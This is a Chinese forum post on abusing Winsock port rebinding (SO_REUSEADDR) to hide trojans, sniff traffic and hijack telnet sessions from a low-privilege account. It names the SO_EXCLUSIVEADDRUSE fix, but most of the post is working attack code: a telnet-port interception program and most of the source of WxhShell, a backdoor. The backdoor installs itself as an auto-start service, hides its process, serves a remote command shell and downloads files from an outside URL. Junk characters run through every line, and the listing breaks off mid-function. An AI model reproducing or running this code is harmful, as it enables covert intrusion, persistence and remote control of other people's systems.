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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: b\(f>g[  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); k _V+;&:%  
f 3H uT=n  
  saddr.sin_family = AF_INET; oDA'$]UL  
gGVt ( ^  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); #H~55))F  
,/+Mp  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); #,#_"  
;O hQBAC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8?nn4]P  
s5@BVD'}E  
  这意味着什么?意味着可以进行如下的攻击: M +OVqTsFU  
uQW)pD{_  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 .:j{d}p}  
q0+N#$g#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) -NwG' U~  
` 7iA?;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 %Y ZC dS  
fxcE1=a  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FvT4?7-  
*1dZs~_  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v)du]  
}'P|A  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uBww  
4~Cf_`X}]  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Jq` Dvz  
Gky*EY  
  #include |-=-/u1  
  #include  ,h^6y  
  #include QIkFX.^  
  #include    gV@xu)l  
  DWORD WINAPI ClientThread(LPVOID lpParam);   aftt^h  
  int main() @sn:%/x_  
  { "Y+VNS  
  WORD wVersionRequested; `?$-T5Rr  
  DWORD ret; QgU]3`z"  
  WSADATA wsaData; W@AHE?s6g  
  BOOL val; r B+ (  
  SOCKADDR_IN saddr; Hj >fg2/  
  SOCKADDR_IN scaddr; %h ;oi/pe  
  int err; ^N<aHFF  
  SOCKET s; oi0O4J%H  
  SOCKET sc; z#Jw?K_  
  int caddsize; l5w^rj  
  HANDLE mt; tQzbYzGb7  
  DWORD tid;   @M\JzV4 A[  
  wVersionRequested = MAKEWORD( 2, 2 ); C,W@C  
  err = WSAStartup( wVersionRequested, &wsaData ); c:K/0zY  
  if ( err != 0 ) { zdJPMNHg  
  printf("error!WSAStartup failed!\n"); Nt8"6k_  
  return -1; \ *CXXp`  
  } c_qox  
  saddr.sin_family = AF_INET; )$^xbC#j`3  
   3/vtx9D  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \/1~5mQ+  
2tK~]0x  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H,KH}25  
  saddr.sin_port = htons(23); $CB&>?~  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) -J63'bb7oi  
  { 'n7|fjX?Y  
  printf("error!socket failed!\n"); BPkMw'a:  
  return -1; s&ox%L4  
  } &G%AQpDW5  
  val = TRUE; 65zwi-  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ^iEf"r  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) |h $Gs2  
  { *=@8t^fa86  
  printf("error!setsockopt failed!\n"); l atm_\  
  return -1;  $Z &6  
  } %t_'rv  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +jrx;xwot  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z6gwAvf<  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 8i "CU:(  
A&1EOQ=N  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) eJqx,W5MK]  
  { yzfiH4  
  ret=GetLastError(); %u%;L+0Q[  
  printf("error!bind failed!\n"); %GjG.11V,_  
  return -1; Aa1#Ew<r  
  } 9Y2u/|!.3  
  listen(s,2); 5L6.7}B  
  while(1) PYQ  
  { VT>-*  
  caddsize = sizeof(scaddr); d >L8S L  
  //接受连接请求 FsUH/Y y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  P:6K  
  if(sc!=INVALID_SOCKET) 51s\)d%l  
  { rs4:jS$)  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); >%6j-:S  
  if(mt==NULL) # d"M(nt  
  { 0 F8xS8vK+  
  printf("Thread Creat Failed!\n"); kN 2mPD/  
  break; 1Mq"f 7X8  
  } suQ`a_ zJ  
  } KUX6n(u  
  CloseHandle(mt); L' _%zO  
  } q#Otp\f  
  closesocket(s); q:up8-LAr  
  WSACleanup(); !pe[H*Cy  
  return 0; XKp(31])  
  }   2 br>{^T  
  DWORD WINAPI ClientThread(LPVOID lpParam) KX x+J}n  
  { n)cc\JPQ  
  SOCKET ss = (SOCKET)lpParam; 71Q`B#t0'Z  
  SOCKET sc; mn1!A`$  
  unsigned char buf[4096]; t`&mszd~T  
  SOCKADDR_IN saddr; s7E %Et  
  long num; si%V63^lN  
  DWORD val; ajRht +{  
  DWORD ret; Q >yj<DR  
  //如果是隐藏端口应用的话,可以在此处加一些判断 m?Jnb\0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   eiOAbO#U  
  saddr.sin_family = AF_INET; z1RHdu0;z  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); )e[q% %ks  
  saddr.sin_port = htons(23); Wsd_RT}ww  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ,f>^ q"  
  { !K_<7iExI\  
  printf("error!socket failed!\n"); \Q`#E'?  
  return -1; LCRWC`%&  
  } hBZh0x y  
  val = 100; :n <l0  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~>]Ie~E: (  
  { ; mV>k_AG  
  ret = GetLastError(); Lo'G fHE  
  return -1; ~&0lWa  
  } x6T$HN/2  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %xx;C{g;a  
  { vRmzjd~  
  ret = GetLastError(); !N:w?zsp  
  return -1; =*4^Dtp  
  } |L;Hd.l7^*  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !`U #Pjp.  
  { ][z!};  
  printf("error!socket connect failed!\n"); YS9)%F=X  
  closesocket(sc); 'bji2#z[  
  closesocket(ss); '6WZi|(a  
  return -1; <1sUK4nQ,  
  } Pmuk !V}f  
  while(1) I`{=[.c  
  { ,^iT,MgNNf  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 99zMdo S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 10dK%/6/O  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 MmfshnTN  
  num = recv(ss,buf,4096,0); ;h~kB  
  if(num>0) +ZwTi!W  
  send(sc,buf,num,0); UA0R)BH'  
  else if(num==0) s0Y7`uD^  
  break;  !vr A\d  
  num = recv(sc,buf,4096,0); W70BRXe04D  
  if(num>0) IOrYm  
  send(ss,buf,num,0); iee`Yg!EOH  
  else if(num==0) Q>=/u-  
  break; 48GaZ@v  
  } usugjx^p  
  closesocket(ss); H'2o84$  
  closesocket(sc); yK2>ou  
  return 0 ; + L 5  
  } j,_{f =3;  
FP6Jf I8  
fb]=MoiJ  
========================================================== 3v~}hV/RUy  
)6he;+  
下边附上一个代码,,WXhSHELL w/0;N`YB  
Fw#wVs)@:  
========================================================== xNVSWi,  
]%5gPfv[T  
#include "stdafx.h" 2Q/V D,yU  
WdrMp  
#include <stdio.h> B8-Y)u1G  
#include <string.h> MIv,$  
#include <windows.h> Bm^8"SSN  
#include <winsock2.h> P_N},Xry  
#include <winsvc.h> .w~L0(  
#include <urlmon.h> 1rmN)  
6:TA8w|  
#pragma comment (lib, "Ws2_32.lib") p_sqw~)^%  
#pragma comment (lib, "urlmon.lib") ^\PNjj*C i  
`? f sU  
#define MAX_USER   100 // 最大客户端连接数 1UH_"Q03  
#define BUF_SOCK   200 // sock buffer R<>uCF0  
#define KEY_BUFF   255 // 输入 buffer YH[HJ#:7r  
PurY_  
#define REBOOT     0   // 重启 cmLI!"RLe  
#define SHUTDOWN   1   // 关机 apm,$Vvjy  
0[OlJMVf  
#define DEF_PORT   5000 // 监听端口 ) nn v{hN  
HtI>rj/\ x  
#define REG_LEN     16   // 注册表键长度 @v\jL+B+m  
#define SVC_LEN     80   // NT服务名长度 |i'w"Tz4  
Ef6LBNWY.  
// 从dll定义API ~!dO2\X+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (7P VfS>;  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); E+aE5wmr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Luh*+l-nO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4vPKDd  
cT^x^%  
// wxhshell配置信息 B\7 80p<  
struct WSCFG { O%s?64^U  
  int ws_port;         // 监听端口 cy_zEJjbD  
  char ws_passstr[REG_LEN]; // 口令 $-]PD`wmY  
  int ws_autoins;       // 安装标记, 1=yes 0=no fPsUIlI/A  
  char ws_regname[REG_LEN]; // 注册表键名 !L' O")!3  
  char ws_svcname[REG_LEN]; // 服务名 U| 1&=8l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 {B\lk:"X  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 oth=#hfU^  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 K}Pi"Le@W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 6~(iLtd#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" T+<OlXpL  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 kv3V|  
&uv7`VT  
}; |Q~5TL>b  
6?jSe<4x  
// default Wxhshell configuration W#[3a4%m  
struct WSCFG wscfg={DEF_PORT, ^cYt4NHXn  
    "xuhuanlingzhe", PxZMH=  
    1, A v%'#1w<"  
    "Wxhshell", h|&qWv  
    "Wxhshell", so\8.(7n  
            "WxhShell Service", xHdv?69,  
    "Wrsky Windows CmdShell Service", !p"Ijz5  
    "Please Input Your Password: ", [kg*BaG:  
  1, [ U?a %$G>  
  "http://www.wrsky.com/wxhshell.exe", lF1ieg"i M  
  "Wxhshell.exe" ig,v6lqhM  
    }; sr,8Qd 0M  
h7W<$ \P  
// 消息定义模块 B6a   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,!g%`@u  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <)9E.h  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +LAjh)m  
char *msg_ws_ext="\n\rExit."; l ilF _ y  
char *msg_ws_end="\n\rQuit."; ~ f>km|Q{u  
char *msg_ws_boot="\n\rReboot..."; G-Ju`.  
char *msg_ws_poff="\n\rShutdown..."; (&Z`P  
char *msg_ws_down="\n\rSave to "; -7l)mk  
ZvO,1B  
char *msg_ws_err="\n\rErr!"; 3sq(FsT  
char *msg_ws_ok="\n\rOK!"; J#& C&S 2  
p^QB^HEV  
char ExeFile[MAX_PATH]; d#G H4+C  
int nUser = 0; o8lwwM*  
HANDLE handles[MAX_USER]; 0xg6  
int OsIsNt; e!~x-P5M`  
|#!P!p}  
SERVICE_STATUS       serviceStatus; wNm~H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; !NFP=m1  
r6eApKZ>f6  
// 函数声明 `JL&x|q o  
int Install(void); |F#L{=B  
int Uninstall(void); t{)J#8:g  
int DownloadFile(char *sURL, SOCKET wsh); G_a//[p  
int Boot(int flag); m`lsUN,  
void HideProc(void); Z}'"c9oB  
int GetOsVer(void); BAS3&fA  
int Wxhshell(SOCKET wsl); i^'Uod0d.  
void TalkWithClient(void *cs); j8Csnm0  
int CmdShell(SOCKET sock); #/ Qe7:l  
int StartFromService(void); %@Ty,d:;=  
int StartWxhshell(LPSTR lpCmdLine); (Q09$  
P*;zDQy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Xz, sL  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +b]+5!  
<+c6CM$#}V  
// 数据结构和表定义 7&z`N^dz{  
SERVICE_TABLE_ENTRY DispatchTable[] = "ewB4F[  
{ 9>"To  
{wscfg.ws_svcname, NTServiceMain}, kdry a  
{NULL, NULL} M%8:  
}; h0fbc;l  
GM<r{6Qy  
// 自我安装 &<sN( ;%0R  
int Install(void) Q@lJ|  
{ 7 n=fB#!*3  
  char svExeFile[MAX_PATH]; ( nH3  
  HKEY key; U0:tE>3`  
  strcpy(svExeFile,ExeFile); 2x7%6'  
m mj6YQ0a  
// 如果是win9x系统,修改注册表设为自启动 ES#K'Lf  
if(!OsIsNt) { }TCOm_Y/qL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { E|Lv_4lb=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %r*zd0*<n1  
  RegCloseKey(key); c|'hs   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { }~RH!Q1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,4wZ/r> d  
  RegCloseKey(key); Dab1^H!KT  
  return 0; OW12m{  
    } b}[W[J}`  
  } vK?{Z^J][  
} .{1MM8 Q  
else { PiRbdl  
f`j RLo*L  
// 如果是NT以上系统,安装为系统服务 Nz&J&\X)tD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R3$K[Lv,  
if (schSCManager!=0) 2Xm\;7  
{ 3'WS6B+  
  SC_HANDLE schService = CreateService e_BOzN~c  
  ( X192Lar  
  schSCManager, =kspHP<k  
  wscfg.ws_svcname, =y/VrF.bV  
  wscfg.ws_svcdisp, Tl!}9/Q5E:  
  SERVICE_ALL_ACCESS, h.6yI  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WlnI`!)d  
  SERVICE_AUTO_START, *zy0,{bl  
  SERVICE_ERROR_NORMAL, dB`YvKr#  
  svExeFile, P==rY5+s`  
  NULL, gn? ~y`  
  NULL, UEJX0=  
  NULL, @])qw_  
  NULL, \DE`tkV8  
  NULL TY,w3E_  
  ); MOFIR wVZ+  
  if (schService!=0) yS#LT3>l  
  { H! ZPP8]j>  
  CloseServiceHandle(schService); $ #C$V>  
  CloseServiceHandle(schSCManager); wL2d.$?TEg  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CW Y'q  
  strcat(svExeFile,wscfg.ws_svcname); : /9@p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mb*L'y2r  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ipEsR/O  
  RegCloseKey(key); *fq=["O  
  return 0; Nd&u*&S  
    } kg$<^:uX  
  } ~h;c3#wuc  
  CloseServiceHandle(schSCManager); +[JGi"ca  
} )ll`F7B-  
} h{]l?6`  
i%M2(8&^Q  
return 1; ~PUz/^^ s  
} w$7*za2  
`n7z+  
// 自我卸载 b0i]T?#  
int Uninstall(void) #{ M$%l>  
{ Frt_X%  
  HKEY key; a`CsLBv&  
PCs+` WP!M  
if(!OsIsNt) { [KR`%fD0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #nc{MR#R  
  RegDeleteValue(key,wscfg.ws_regname); & h9ji[  
  RegCloseKey(key); n-dO |3,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -\j}le6;c  
  RegDeleteValue(key,wscfg.ws_regname); LD WFc_  
  RegCloseKey(key); 0 )#5_-%  
  return 0; itM6S$  
  } [t /hjm"$  
} g[j"]~  
} :JSOj@s  
else { m5sgcxt/  
+GWeu0b(~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); -lyT8qZ:(  
if (schSCManager!=0) 4.7ePbk[E  
{ S"w$#"EJA  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Warz"n]iC  
  if (schService!=0) fAfsKO*  
  { PK u+$  
  if(DeleteService(schService)!=0) { v[ru }/4  
  CloseServiceHandle(schService); rZZueYuXO  
  CloseServiceHandle(schSCManager); O'" &9  
  return 0; |-I[{"6q$@  
  } Y*0%l q({H  
  CloseServiceHandle(schService); B5!$5 Qc  
  } 4)iSz>  
  CloseServiceHandle(schSCManager); :t]YPt  
} GLL,  
} iy8U rgG;l  
ekfD+X  
return 1; u9e A"\s  
} r9@W8](\  
j%b/1@I  
// 从指定url下载文件 OGrVy=rd  
int DownloadFile(char *sURL, SOCKET wsh) [,-MC7>]  
{ gmWRw{nS+  
  HRESULT hr; )2z (l-$.  
char seps[]= "/"; VVvV]rU~  
char *token; 0W9,uC2:N  
char *file; ;|b D@%@  
char myURL[MAX_PATH]; xF5q=%n  
char myFILE[MAX_PATH]; R1X9  
Jk|c!,!  
strcpy(myURL,sURL); DVRE;+Jt  
  token=strtok(myURL,seps); m"~$JA u  
  while(token!=NULL) [z`U 9J  
  { _5.^A&Y*  
    file=token; W=o90TwbN  
  token=strtok(NULL,seps); }V?SedsY  
  } .wx; !9  
zO2Z\E'% .  
GetCurrentDirectory(MAX_PATH,myFILE); v?)JM+  
strcat(myFILE, "\\"); xe2Ap[Y'M  
strcat(myFILE, file); _;{n+i[  
  send(wsh,myFILE,strlen(myFILE),0); (D{Fln\  
send(wsh,"...",3,0); J(h=@cw  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 9~<HTH  
  if(hr==S_OK) d> `9!)  
return 0; ?I`']|I  
else kh 1 7  
return 1; ~ DVAk|fc  
H |Z9]+h)7  
} @P4fR7  
WtFv"$V  
// 系统电源模块 Io{)@H"f  
int Boot(int flag) .3A66 O~zT  
{ I' ej?~  
  HANDLE hToken; \QstcsEt  
  TOKEN_PRIVILEGES tkp; `pE~M05  
%.BbPR7?h  
  if(OsIsNt) { a{QHv0goG  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); %s%v|HDs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); AIF?+i%H}  
    tkp.PrivilegeCount = 1;  s6rdQI]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; M/ 0!B_(R  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); P8Fq %k  
if(flag==REBOOT) { EMmNlj6  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y|nMCkuX  
  return 0; 9PVM06   
} M$ `b$il  
else { 7Nw7a;h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ;-lk#D?n9  
  return 0;  "C B*  
} @/ wJW``;  
  } T c4N\Cy  
  else { h2zuPgz,  
if(flag==REBOOT) { ,g#=pdX;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1 +O- g  
  return 0; l];,)ddD9  
} D!ToCVos  
else { .KGW#Qk8  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _+S`[:;a  
  return 0; O$E3ry+?  
} ^UZEdR;  
} ~#&bDot  
+g<2t,  
return 1; ,o]"G[Jk  
} v-3In\T=^  
jmmm0,#D  
// win9x进程隐藏模块 bg*4Z?[dd  
void HideProc(void) * 'WzIk2  
{ } '.l'%  
#qGfo)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;+g p#&i`  
  if ( hKernel != NULL ) :Oo(w%BD]  
  { /-b)`%Q|Y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); *T*=~Y4kE  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ((\s4-   
    FreeLibrary(hKernel); b!J21cg<L  
  } G)';ucs:,  
<YP>c  
return; ^!L'Ao y;E  
} Ka&[ Oz<w  
L@2T  
// 获取操作系统版本 }a,j1r_Hl&  
int GetOsVer(void) Vz!W(+  
{ !krbGpTVH  
  OSVERSIONINFO winfo; + O=wKsGD  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Qa~o'  
  GetVersionEx(&winfo); 6&S;Nrg9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (n05MwKu\  
  return 1; D+]#qS1q  
  else CDQ}C=4  
  return 0; _{)e\n  
} y~w2^VN=  
w7$*J:{  
// 客户端句柄模块 J4#t1P@Na  
int Wxhshell(SOCKET wsl) Kgbgp mW  
{ ^]3Y11sI  
  SOCKET wsh; sWP5=t(i+9  
  struct sockaddr_in client; Yj|Oy  
  DWORD myID; ,`v)nwP  
fHCLsI  
  while(nUser<MAX_USER) 5e~\o}]  
{  #:_qo  
  int nSize=sizeof(client); XMd-r8yYr  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N W :_)1  
  if(wsh==INVALID_SOCKET) return 1; Fd":\7p  
R"EX$Zj^E  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $-[V)]h  
if(handles[nUser]==0) Q<3=s6@T  
  closesocket(wsh); XZLo*C!MG  
else @tWyc%t  
  nUser++; cJd~UQ<k  
  } t8DyS FT  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);  iUJqAi1o  
7"Sw))H|  
  return 0; uIvy1h9m  
} Z|K+{{C  
5:6as^i:b  
// 关闭 socket v*SSc5gFG  
void CloseIt(SOCKET wsh) AA"?2dF  
{ obKWnet  
closesocket(wsh); 9bR lSb@  
nUser--; U:ggZ`.  
ExitThread(0); 0f}zm8p7.  
} eVyXh>b*  
4n @}X-)  
// 客户端请求句柄 zV_U/]y  
void TalkWithClient(void *cs) 'VcZ_m:  
{ [,Q(~Qb  
jFY6}WY)}7  
  SOCKET wsh=(SOCKET)cs; D::$YR ~R  
  char pwd[SVC_LEN]; 5@ecZ2`)+h  
  char cmd[KEY_BUFF]; mD{<Lp=  
char chr[1]; DvCs 5  
int i,j; #5-5N5-1  
u@tJu'X  
  while (nUser < MAX_USER) { 6:O3>'n  
4nQk*:p(X  
if(wscfg.ws_passstr) { 8\+kfK  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZqT?7|i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +ntrp='7O7  
  //ZeroMemory(pwd,KEY_BUFF); P9= L?t.  
      i=0; k nrR%e;  
  while(i<SVC_LEN) { d0ThhO  
7cV9xIe^  
  // 设置超时 2?9 FFlX  
  fd_set FdRead; c Q:.V  
  struct timeval TimeOut; -\6nT'P  
  FD_ZERO(&FdRead); KKP}fN  
  FD_SET(wsh,&FdRead); f_a.BTtNO  
  TimeOut.tv_sec=8; Pj9n`LwM  
  TimeOut.tv_usec=0; 8.FBgZh*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )nmLgsg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ):OGhWq  
FjF:Eh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #va|&QBZxM  
  pwd=chr[0]; 35I y\  
  if(chr[0]==0xd || chr[0]==0xa) { ^j&'2n@ 9a  
  pwd=0; /nEt%YYh;x  
  break; mL/]an@Y  
  } g"vg {Q  
  i++; )';Rb$<Qn  
    } }#}IR5`=E  
|M]#D0v  
  // 如果是非法用户,关闭 socket wv0d"PKTS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); SFCKD/8  
} to{/@^ D  
eQ _dO]Q  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); sf )ojq6s  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); eAKK uML  
R|aA6} /I  
while(1) { n!=%MgF'*p  
PhF.\W b  
  ZeroMemory(cmd,KEY_BUFF); eFDhJ  
?O(KmDH  
      // 自动支持客户端 telnet标准   4|*b{Ni  
  j=0; t I}@1  
  while(j<KEY_BUFF) { Ah:!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 8:^`rw4a0  
  cmd[j]=chr[0]; zy\p,  
  if(chr[0]==0xa || chr[0]==0xd) { YoiM\gw  
  cmd[j]=0; V#8]io  
  break; "8MG[$Y  
  } ^2Sa_.  
  j++; qj *IKS  
    } .BN~9w  
N!Dc\d=8q]  
  // 下载文件 B;Pws$J  
  if(strstr(cmd,"http://")) { W:D'k^u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); .3WDtVE  
  if(DownloadFile(cmd,wsh)) pW ]+a0j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P \<dy?nZ  
  else N2:};a[ui5  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LDlj4>%pW^  
  } ~Wy&xs ZH  
  else { f>.A^?  
Pw:(X0@  
    switch(cmd[0]) { Hik8u!#P  
  n+Ofbiz@  
  // 帮助 %-ih$ZY  
  case '?': { `k y>M-  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); v~^c-]4I  
    break; lF-;h{   
  } YT!QY@qw  
  // 安装 SN2X{Q|*  
  case 'i': { S~jl%]  
    if(Install()) ga0>J_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); rl-r8?H}  
    else rN6 @=uB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N)'oX3?x  
    break; 86Q\G.h7  
    } }#~@HM>6Z  
  // 卸载 U-.?+ `  
  case 'r': { &4M0 S+.  
    if(Uninstall()) ?DPN a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2 mM0\ja  
    else &_X6m0z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |lH~nU.*  
    break; A*l(0`aWq  
    } v_Om3i9$E  
  // 显示 wxhshell 所在路径 +zodkB~)  
  case 'p': { s@C KZ`  
    char svExeFile[MAX_PATH]; 9L3#aE]C  
    strcpy(svExeFile,"\n\r"); J }izTI  
      strcat(svExeFile,ExeFile); x`N _tWZ  
        send(wsh,svExeFile,strlen(svExeFile),0); 4k'2FkDA  
    break; hgCF!eud  
    } tBEZ4 W>67  
  // 重启 :%GxU;<E{  
  case 'b': { WK7=z3mu  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {l&6= z  
    if(Boot(REBOOT)) N<wy"N{iS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zt/p' khP3  
    else { gb 6 gIFq;  
    closesocket(wsh); y[7*^9J  
    ExitThread(0); # Sfz^  
    } BNU]NcA#*,  
    break; 'Y23U7 n0B  
    } hpJ[VKe  
  // 关机 MGn:Gj"d  
  case 'd': { O+Z[bis`  
